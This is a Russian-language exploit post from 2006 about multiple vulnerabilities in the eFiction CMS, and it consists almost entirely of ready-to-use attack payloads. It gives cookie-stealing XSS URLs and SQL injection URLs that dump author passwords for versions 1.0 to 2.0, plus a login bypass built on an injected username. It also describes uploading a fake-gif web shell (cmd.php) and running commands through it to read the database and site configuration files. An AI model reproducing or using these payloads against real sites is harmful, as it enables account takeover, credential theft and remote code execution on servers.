Множественные уязвимости в eFiction

2 февраля 2006 | ASSCOL | Security

Эксплоит:



1) XSS для версии 1.0 и 1.1

http://[target]/efiction/titles.php?action=viewlist&let=<script>alert(document.cookie)</script>



2) SQL-injection для версии 2.0



http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,'<script>alert(document.cookie)</script>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*



Если magic_quote_gpc off (для версии 1.0)



http://[target]/[path]/authors.php?action=viewlist&let='%20UNION%20SELECT%20password,0%20FROM%20fanfiction_authors/*

http://[target]/[path]/authors.php?action=viewlist&let=%27%20UNION%20SELECT%20password,password%20FROM%20efiction_fanfiction_authors/*&offset=0,40/*

http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,penname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*



Для версии 1.1



http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20password,0,0,0,0,0,penname,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20penname,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*

http://[target]/[path]/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://[target]/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*

http://[target]/[path]/viewstory.php?

sid='%20UNION%20SELECT%20penname,penname,password,

penname,penname,penname,penname,penname,penname,penname,

penname,penname,penname,penname,penname,penname,penname,

penname,penname,penname,penname,penname%20FROM%20fanfiction_authors%20/*



Для версии 2.0



http://[target]/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*



3) Вход без пароля



Версия 1.0:

username: 'UNION SELECT
'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email FROM
fanfiction_authors where level=1/*

password: пустой



Версия 1.1:

username: 'UNION SELECT
'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email,categories
FROM fanfiction_authors where level=1/*

password: пустой



Версия 2.0:

username: 'UNION SELECT

'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email,categories,ageconsent

FROM fanfiction_authors where level=1/*

password: пустой



3) Выполнение произвольного кода



Через скрипт для upload'a можно загружать gif-файлы (fake, cmd.php в нашем
случае) по этой ссылке http://target/path/user.php?action=manageimages&upload=upload



Вызвать загруженный файл можно так:



Версия 1.0/1.1

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.php

http://[target]/[path_to_efiction]/stories/[user_id]/images/cmd.php



Версия 2.0

http://[target]/[path_to_efiction]/stories/1/images/cmd.php

http://[target]/[path_to_efiction]/stories/2/images/cmd.php



Вывод результата в файл:

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.php?cmd=ls%20-la>README

http://[target]/[path_to_efiction]/stories/[your_username]/images/README

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.php?cmd=cat%20../../../data/dbconfig.php>README

http://[target]/[path_to_efiction]/stories/[your_username]/images/README

http://[target]/[path_to_efiction]/stories/[your_username]/images/cmd.php?cmd=cat%20../../../config.php>README

http://[target]/[path_to_efiction]/stories/[your_username]/images/README



4) Раскрытие установочных путей



http://[target]/efiction/storyblock.php

**** ASSCOL ****

По всем вопросам и предложениям пишите на admin@comp-info.ru